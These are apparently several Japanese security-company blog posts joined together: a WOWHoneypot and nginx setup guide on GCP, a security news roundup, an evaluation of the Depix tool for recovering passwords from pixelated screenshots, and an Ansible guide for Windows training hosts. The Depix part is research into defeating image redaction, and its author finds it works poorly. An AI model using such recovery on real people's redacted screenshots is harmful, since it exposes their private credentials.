今回はGCP(Google Cloud Platform)のVMインスタンス(無料枠)にWOWHoneypotを設置し、そのログをElasticsearchで分析します。
今回の分析にはドメインが必要なので、実践される方はドメインの取得とネームサーバーの変更が必要です。

WOWHoneypotについて導入から分析まで全3回に分けて投稿します。
1. WOWHoneypotのログを分析してみた - 導入編(今回)
2. WOWHoneypotのログを分析してみた - Logstash編
3. WOWHoneypotのログを分析してみた - 分析編

github.com

目次

  1. VMインスタンスの構築
  2. 構築したVMインスタンスssh接続をする
  3. ドメインの設定とSSL/TLS対応
  4. nginxの設定
  5. WOWHoneypotの構築

構築

VMインスタンスの構築

GCPVMインスタンスGoogleがホストするクラウドサービスの仮想マシンのことです。
VMインスタンスの簡単な設定を済ませるとすぐに利用できるので、手軽にサーバーを用意することができます。

無料枠についてはこちらの説明を見て下さい。

新しいプロジェクトを作成し、左側のメニューからCompute Engine->VMインスタンスを開きます。

リージョン

  • リージョン -> us-west1(オレゴン)
  • ゾーン -> ws-west1-b

マシンの構成

  • マシンファミリー -> 汎用
  • シリーズ -> E2
  • マシンタイプ -> e2-micro (2 vCPU, 1GBメモリ)

ブートディスク

  • OS -> Ubuntu
  • バージョン -> Ubuntu 18.04 LTS
  • ブートディスクの種類 -> バランス永続ディスク
  • サイズ(GB) -> 30

ファイアウォール

以上の設定をしてVMインスタンスの作成をします。

構築したVMインスタンスssh接続をする

今回ssh接続するためにtera termを使用します。
tera termの設定からSSH鍵生成を開き、生成した2つの鍵を保存します。
次にGCP側に公開鍵(id_rsa.pub)を登録します。
GCPコンソールの左側のメニューからメタデータを開き、SSH認証鍵に公開鍵を設定します。
VMインスタンスのページに戻り、作成したインスタンスの外部IPを調べてメモしておきます。
tera termを開き、ホストIPを入力したらOKで次に進み、ユーザー名と秘密鍵のパスを入力すると接続することができます。

ドメインの設定とSSL/TLS対応

GCPのコンソールから、ネットワークサービスのCloud DNSを開きます。

ゾーンを作成

  • ゾーン名 -> 任意の名前
  • DNS名 -> 使用するドメイン (例: test.example)

作成ボタンでゾーンを作成します。
Cloud DNSの画面に戻ったら、作成したゾーン名を開いてレコードセットを追加します。
IPv4アドレスの入力欄に作成したVMインスタンスの外部IPを設定してレコードセットを作成します。

ネームサーバーの登録

ドメインレジストラ側の設定画面でNSレコードを設定する。
登録するNSレコードは先程作成したゾーンのレコードセットにNSレコードがあるのでこれをコピーする。
※この作業はドメインレジストラごとに違うので、わからない場合は調べながら行ってください。

Let's Encryptで証明書発行

Let's Encryptのクライアント(certbot)を使って、SSL/TLSの対応をします。
Let's Encryptとは、HTTPSを普及させる事を目的としたプロジェクトで、証明書の発行を完全に自動化することで無料で手軽にSSL/TLS対応ができます。

$ sudo apt update
$ sudo apt install -y certbot
$ sudo certbot certonly --standalone -t

その後は指示に従って情報を入力していきます。
生成された鍵は/etc/letsencrypt/live/ドメイン名/に保存されています。

Nginxの設定

$ sudo apt install -y nginx

Nginxをインストールしたら、発行した証明書のパスをnginx.confに記入します。

$ sudo vim /etc/nginx/nginx.conf

##
# SSL Settings
##
~
# 以下を追記
ssl_certificate /etc/letsencrypt/live/ドメイン名/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/ドメイン名/privkey.pem;

続いて、リバースプロキシを作っていきます。

$ sudo vim /etc/nginx/conf.d/proxy.conf

server {
    listen 80;
    server_name ドメイン;
    return 301 https://$host$request_uri;
}
server {
    listen 443 ssl;
    server_name ドメイン;
    real_ip_header proxy_protocol;
    location / {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $http_host;
        proxy_set_header Connection "";
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

この設定では、http(80)で接続して来たらhttps(443)にリダイレクトするサーバーと、受け取ったリクエストをWOWHoneypot(8080)に転送するサーバーの2つがあります。
ただし、nginxでリバースプロキシをすることでWOWHoneypotが受け取る接続元IPがリバースプロキシのIPになってしまうため、X-Real-IPヘッダーを追加することで本当の接続元IPを記録できるようにします。

$ sudo systemctl restart nginx

nginxを再起動して構築は完了です。

WOWHoneypotの構築

github.com

Welcome to Omotenashi Web Honeypot(WOWHoneypot)は、簡単に構築可能で、シンプルな機能で動作を把握しやすくした、サーバ側低対話型の入門用 Web ハニーポットです。 ルールベースのマッチ&レスポンス機能により、攻撃者に気持ちよく攻撃してもらい、得られるログの幅を広げることができます。 送信元からの HTTP リクエストをそのまま保存するので、後からじっくりゆっくりログ分析をすることが可能です。

インストール

$ git clone https://github.com/morihisa/WOWHoneypot.git wowhoneypot

サービスの作成

WOWHoneypotを24時間稼働させたいので、systemdを使ってサービスを作成します。
まずWOWHoneypot実行用のシェルスクリプトを用意します。

$ vim wowhonypot.sh

#!/bin/bash
cd /home/ユーザー名/wowhoneypot
/usr/bin/python3 /home/ユーザー名/wowhoneypot/wowhoneypot.py

$ sudo chmod 755 wowhoneypot.sh

systemdのサービスを作成します

$ sudo vim /etc/systemd/system/wowhoneypot.service

[Unit]
Description=WOWHoneypot daemon
Documentation=https://github.com/morihisa/WOWHoneypot

[Service]
ExecStart = /home/ユーザー名/wowhoneypot.sh
ExecRestart = /bin/kill -WINCH ${MAINPID} ; /home/ユーザー名/wowhoneypot.sh
ExecStop = /bin/kill -WINCH ${MAINPID}
Restart = no
Type = simple

[Install]
WantedBy = multi-user.target
$ sudo systemtl enable wowhoneypot.service
$ sudo systemtl start wowhoneypot.service

以上で今回の作業は終わりです。

まとめ

今回はGCPVMインスタンスにWOWHoneypotとnginxのリバースプロキシを構築しました。
次回のLogstash編では、WOWHoneypotのアクセスログを分析しやすいようにLogstashを使って情報の加工と取得を自動化していきます。

特定期間に発生したインシデントとその報道されたニュースとかのリンクをまとめたもの

このブログは別の場所でSOCにも携わっている経験のある株式会社Armorisのseanが、本人の興味範囲に基づいて収集したサイバーセキュリティ関連の出来事をまとめたものです。各出来事に関するコメントは個人の意見です。

4月21日収集

全般

フィッシング

4月22日収集

全般

ランサムウェア

脆弱性

4月27日収集

内部不正

emotet

4月28日収集

全般

脆弱性

emotet

5月2日収集

全般

ランサムウェア

不正アクセス

5月2日収集

スピアフィッシング

  • ショートカットとISOファイルを悪用する攻撃キャンペーン

ワイパーマルウェア

5月9日収集

全般

  • サエラ薬局メールアカウントに不正アクセススパムメール送信の踏み台に
    • 悪用されたメールサーバは数年前から使用されていなかったそうです。開発系のサーバや、利用終了したサーバはセキュリティが低いことが多く、狙われやすいようです。廃棄にもコストはかかりますが、適切に対応することが望ましいと思われます。
    • https://scan.netsecurity.ne.jp/article/2022/05/06/47556.html
  • 「フィッシング対策協議会」をかたるフィッシング詐欺が確認される、件名「全日本銀行によるネットショッピング認証サービス(3-DSecure) アップグレードに関するお知らせ」のメールに注意
    • 今後はセキュリティ系の法人を語るフィッシングが増えるかも知れませんね。今回の場合、フィッシング対策協議会の活動や金融業界に詳しければ、騙されにくいと思いますが、3DSecureをネタにしてるのはうまいと言えそうです。
    • https://internet.watch.impress.co.jp/docs/news/1407338.html
  • シェルコードをWindowsイベントログに隠す手法
  • ビジネス電子メール(BEC)の被害総額は5年間で430億ドル超、FBIが注意喚起
    • BEC詐欺も進化しているようです
    • 米のレポートですが、金銭ではなく、個人情報などを送るよう要求してくる場合もあるようです。窃取した情報を売ることで稼ぐのでしょうか。脅迫するパターンも出てきそうですね。
    • https://news.mynavi.jp/techplus/article/20220507-2339346/

5月10日収集

全般

  • アマゾン、偽レビュー業者を提訴
    • 以前、NHKが報道していたと記憶しています。おかげでアマゾンが使いにくくなりました。個人的にはレビューを確認するなど、アマゾンを利用する時の洞察力が培われたように思います。商品がちゃんとしてるなら、とりあえずは問題ないんですけどね…。
    • https://japan.cnet.com/article/35187197/

ランサムウェア

5月11日収集

全般

5月12日収集

全般

レポート類

詐欺

不正アクセス

ランサムウェア

5月13日収集

全般

マルウェア

ウクライナ

脆弱性

5月16日収集

全般

脆弱性

DDoS

ランサムウェア

5月17日収集

内部不正

  • 上司ともめた怒りで会社のデータを全部消した男に7年の懲役判決が下される
    • 中国、内部不正でシステム破壊という珍しい事案。システムのセキュリティ上の問題を上司に指摘していたが聞き入れられず評価されないと感じて……とのこと。データ消去が、指摘していたセキュリティ上の問題を悪用したものなのかが気になります。ただの腹いせなのか、問題を現実化して見せたのか。
    • https://gigazine.net/news/20220516-angry-wipe-databases/

全般

フィッシング

ランサムウェア

個人情報漏洩

Depixを利用したモザイク画像の復元と検証

このブログは、株式会社Armorisアルバイトのyanorei32がVRChatの沼底から書いています。 あるもりすぶろぐの内容は個人の意見です。


本稿では、beurtschipper/Depix を中心にDepixを紹介する。

概要を README.md から抜粋する。

Depix is a tool for recovering passwords from pixelized screenshots.

This implementation works on pixelized images that were created with a linear box filter. In this article I cover background information on pixelization and similar research.

具体的には以下のようなスクリーンショットからの文字列復元処理が行えるという主張である。 f:id:Armoris:20220308172039p:plain

元となったとされているRecovering passwords from pixelized screenshots を読むと、どうやら非常に古典的な手法であることがわかる。

紹介記事に GPUAI といった記述を見た為、 CNN的手法を予感したが、どうやら異なるようだ。 (ソースコードを見ても単純なfor文が書かれているだけだ。)

このソフトウェアの動作を知る為には、まず、モザイク処理に関して深く知る必要がある。

1. モザイク処理の基礎

モザイク処理は実際にはどの様な処理を行っているのだろうか。画像編集ソフトで以下の様なフィルター設定を見たことがあるかもしれない。

Dibas32のモザイク処理UI

これは、非常に単純なフィルタで、近傍NxNピクセルの平均色を新しいピクセル色にするものである。(値として平均化する場合と、linear sRGB空間で行う場合などもある。各ソフトウェアにより実装が異なる場合がある。)

実際に処理すると以下の様になる。

モザイク処理例

動作は単純だが、適切なサイズでモザイク処理を行うと、処理結果から得られる情報は少なく非常に強力だ。右図から左図をヒントなしに推測することは困難だろう。

2. ヒントありのモザイク復元

ではヒントが有る場合はどうだろうか。例えば以下のような制約を課してみよう。

  • フォント/レンダリングが既知
  • 文字単位でのモザイク処理の連結である
    • 16x16の文字が丁度4x4単位でモザイク処理されているなど

この場合だと偶然の重複がない限り、1:1対応で元の文字を復元することができる。

ではそれらの制約は現実に満たすことができるだろうか。

2-1. フォント/レンダリングが既知

この条件を満たすことは比較的容易だろう。 例えば、以下の様な画像を見たとき、人はxtermで有ることや、そのデフォルトフォント fixed で有ること、xtermの標準描画であることが推測できるだろう。

また、アプリケーションの他、OS標準フォントなどから推測することも可能であることから、比較的容易であると言える。

2-2. 文字位置が既知/モザイクと揃っている

制約「文字単位でのモザイク処理の連結である」を満たすのは困難であると言える。実際、Depixではこの制約なしに復元を試みている。

どの様に行っているのだろうか。

3. 連続文字列のリファレンス (Depix)

まず以下を仮定する。

事前に多くの連続文字のリファレンスを用意し、それに対するモザイク化を全通り行う。(サイズ5のピクセル化ならば25通り)

そこから、モザイク化された色情報から文字片への変換辞書を作る。

変換辞書を元に、辞書・入力データ間の距離を測りマッチング処理を行うアプローチがDepixの本質である。

3.1 beurtschipper/Depix の試用

以下に示すbeurtschipper/Depix 内の images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png 等が辞書にあたる。

以下の様にスクリプトを実行し、サンプルの入出力を確認した。

git clone https://github.com/beurtschipper/Depix.git
cd Depix
python3 -m pip install -r requirements.txt
for f in images/testimages/testimage?_pixels.png; do
  python3 depix.py \
    -p $f \
    -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
    -o $f.depix.png
done

3.1.1 testimage1_pixels.png

3.1.2 testimage2_pixels.png

3.1.3 testimage3_pixels.png

目で読むより明らかに良い精度での出力が得られていることがわかる。

しかし、よく見ると密度が近い別のグリフが参照されている箇所も多く見られる。 testimage1_pixels.png は、列が単純であるため推測可能だが、文脈が無いため誤読しやすい。

これは原理的な制約であると言えよう。

3.2 beurtschipper/Depixの実用

3.2.1 helloworld

次に、筆者環境 (Windows 11 21H2 旧メモ帳) で先程の辞書と同一のフォント (Consolas 11) にてレンダリングした Hello World という文字列を入力してみた。

original:

モザイク化 genpixed.py

出力 depix.py

残念ながら、何も得られなかった。

3.2.2 アンチエイリアスの無効化

ClearTypeによるアンチエイリアスにより、事態が複雑化している事を懸念しClearTypeが存在しない環境で施行してみようと考えた。 そこで、筆者のWindows XP (SP3)の環境にて、メモ帳に debruinseq.txtレンダリングさせ、以下の画像を辞書に、その一行目を入力に、再試行した。

辞書:

入力と出力:

1 のハット部分や j のディティールはかなり復元できているのではなかろうか。 しかし、期待した品質ではなく、人間が直接目で読む精度とあまり変わらない。

3.2.3 様々な試行

xtermのレンダリング、異なるフォントサイズのレンダリング等、いくつかの条件を試したが、先の Hello World の例と同様に、殆どマッチングが取れなかった。

ここで、サンプルに付属する辞書を入力とし、それの復元を試みる方針を建てた。 これならば、レンダリング差異の問題は起こらず、また、当然、辞書とのマッチングも取りやすいはずである。

export F=images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

python3 genpixed.py \
  -i $F \
  -o $F.pix.png

python3 depix.py \
  -p $F.pix.png \
  -s $F \
  -o $F.depix.png

得られた結果を以下に示す。最左列以外マッチングが取れていない。

beurtschipper/Depix f7d1850 現在、汎用性は無く、このレポジトリの成果物により直ちにモザイクが復元可能であるとは言えない様だ。

4. 考察

現状、復元は理想的な状況のみで行える様だが、「文脈/制約付きならば高精度に復元し得る」という主張は大変興味深い。

以下は筆者の所感である。

  • 本実装のアイデアはそのままに、グリフ位置の制約をより強くする為、辞書/入力を1行にする事で精度向上し得るのではないか。
  • 入力を自然言語に限定した上 (文脈的制約)、RNNの様な機械学習的アプローチを用いることで、より精度向上が期待できるのではないだろうか。

残念ながら筆者は、機械学習のリサーチャーで無いため、このアイデアを実装/実験する技術は持ち合わせていない。

beurtschipper/Depix は、筆者の様な初学者にも文脈/制約付き高精度デピクセライザーの登場を予感させる、非常に良い PoC であると言えよう。

Ansibleを使ってWindows環境を構築する編 [その3]

このブログは、N高等学校とVRChatの世界からやってきた株式会社ArmorisアルバイトのShaderoが書いています。
あるもりすぶろぐの内容は個人の意見です。

弊社が提供する様々なトレーニングプログラムでは、トレーニングを行う際に、演習端末としてWindows環境を用意しています。
そこで先日、Ansibleというツールを使用して、端末の環境構築を効率的に行えるようにしました。
もっとも、実際に使いこなすには様々な試行錯誤がありました。
そこで今回は備忘も兼ねて、その際にいろいろ試したことなども含めてまとめました。

前回はホストサーバーに新しくユーザーを作成する所まで行いました。
今回は作成したユーザーにトレーニングに必要なソフトのインストールや、レジストリの編集を行います!
(本シリーズで構築する環境の概要は前回をご覧ください。)

環境

ホストサーバー

Name Version
Windows 10 Pro 20H2
WinRM 3.0

Ansibleサーバー

Name Version
MacOS Big Sur 11.4
Ansible 2.11.6

別ユーザーで特定のタスクを実行できるようにする

前回作成したPlaybookを改良して、作成したユーザーにWindows Terminalのインストールやレジストリの編集を行います。

ソフトのインストールとレジストリの編集をするタスクを書いて終わり!…と行きたいところですが、普通に記述すると作成したユーザーではなく、Ansibleでログインしているユーザーでタスクが実行されてしまい、Ansibleでログインしているユーザーのレジストリが変わったりソフトがインストールされてしまいます。
そこでAnsibleでログインしているユーザーではなく、作成したユーザーでタスクを実行するためには少し準備が必要です。

/etc/ansible/hostsファイルにansible_become_method=runasを追加して下記のようにします。

    [servers]
    (ホストサーバーのIPアドレス)

    [servers:vars]
    ansible_user='(Ansibleでログインする際に使うホストサーバーのユーザー名)'
    ansible_password='(Ansibleでログインする際に使うホストサーバーのユーザーのパスワード)'
    ansible_port=5986
    ansible_connection=winrm
    ansible_winrm_server_cert_validation=ignore
    ansible_become_method=runas

これによりAnsibleでログインしているユーザーとは別のユーザーでタスクを実行出来るようになります。

作成したユーザーでレジストリの編集やソフトウェアのインストールを行う

準備を行ったので、さっそく作成したユーザーにWindows Terminalのインストールやレジストリの編集を行います。
前回作成したPlaybookに以下を追記します。

    - name: 作成したユーザーのエクスプローラー上で、ファイルの拡張子と隠しファイルを表示するようにレジストリを変更
      win_regedit:
        path: '{{ item.path }}'
        name: '{{ item.name }}'
        type: dword
        data: '{{ item.data }}'
      with_items:
        - path: HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          name: HideFileExt
          data: 0
        - path: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          name: Hidden
          data: 1
      become: yes
      become_user: '{{ userName }}'
      vars:
        ansible_become_pass: '{{ password }}'

    - name: 作成したユーザーにGitをインストール (Bucketを追加するのに必要)
      community.windows.win_scoop:
        name: git
      become: yes
      become_user: '{{ userName }}'
      vars:
        ansible_become_pass: '{{ password }}'

    - name: Windows Terminalをインストールをするために必要なBucketを追加
      community.windows.win_scoop_bucket:
        name: extras
      become: yes
      become_user: '{{ userName }}'
      vars:
        ansible_become_pass: '{{ password }}'

    - name: 作成したユーザーにWindows Terminalをインストール
      community.windows.win_scoop:
        name: windows-terminal
      become: yes
      become_user: '{{ userName }}'
      vars:
        ansible_become_pass: '{{ password }}'

下記の部分がAnsibleで実行しているユーザーとは別のユーザーで特定のタスクを実行するために必要な記述です。
上記のPlaybookではPlaybook内で作成したユーザーで実行するようにしており、これにより新しく作成したユーザーに、特定のソフトのインストールや、レジストリの書き換えを実現しています。

become: yes
  become_user: '(実行したい別のユーザー名)'
  vars:
    ansible_become_pass: '(実行したい別のユーザーのパスワード)'

少し脱線

今回Windows TerminalのインストールにはScoopを用いました。
Windows向けのパッケージマネージャとしてはwingetやChocolateyあたりが有名だと思うのですが、大体のソフトをユーザーディレクトリにインストールしてくれ、環境が汚れにくいため今回はScoopを採用しました。

また、今回は本Playbookで作成したユーザーの初回ログイン前にソフトをインストールする場合を想定してPlaybookを構築しているのですが、Chocolateyだと一部ソフト(WSL版Ubuntu)を初回ログイン前にインストールしようとすると失敗したので別の物を使おうとしたのも理由の一つです。
(正直なところ何故失敗したのかは調べきれておらず、完全にChocolateyが原因なのか断定出来ないため、これは参考程度にしていただけると幸いです。)

ちなみにScoopモジュールは任意のソフトをインストールする時にScoop本体がない場合、自動的にScoopをインストールしてくれるため事前にインストールする必要はありません(とても便利)

動作確認

上記のPlaybookを実行すると、今までの動作に加え、作成したユーザーでエクスプローラーを開いた時にファイルの拡張子と隠しファイルが表示され、Windows Terminalがインストールされます。

f:id:Armoris:20220215164014p:plain

f:id:Armoris:20220215164028p:plain

おかたづけ

このままだとユーザーが作成されっぱなしで困るので、下記のPlaybookファイルを作成、実行してユーザーを削除します。
(削除するユーザーは予めサインオフさせてください。サインオフしていない場合ユーザープロファイルを削除するタスクが失敗する可能性があります。)

- hosts: servers
  gather_facts: false
  vars:
    username: AnsibleTest
  tasks:
    - name: ユーザーを削除
      win_user:
        name: '{{ username }}'
        state: absent

    - name: ユーザープロファイルを削除
      win_user_profile:
        name: '{{ username }}'
        state: absent

f:id:Armoris:20220201161822p:plain

感想

Playbookに行わせたい処理をガシガシ書くだけで複数のデバイスの環境を自動的に構築することが出来るのはとても時短になるので良いポイントだと思いました。
また、PlaybookもYAML形式でかなり見通し良く出来るため、後から見た時に「ここなにやってたっけ?」となるのが少なくなるのでオススメです!

本記事がお役に立てましたら幸いです。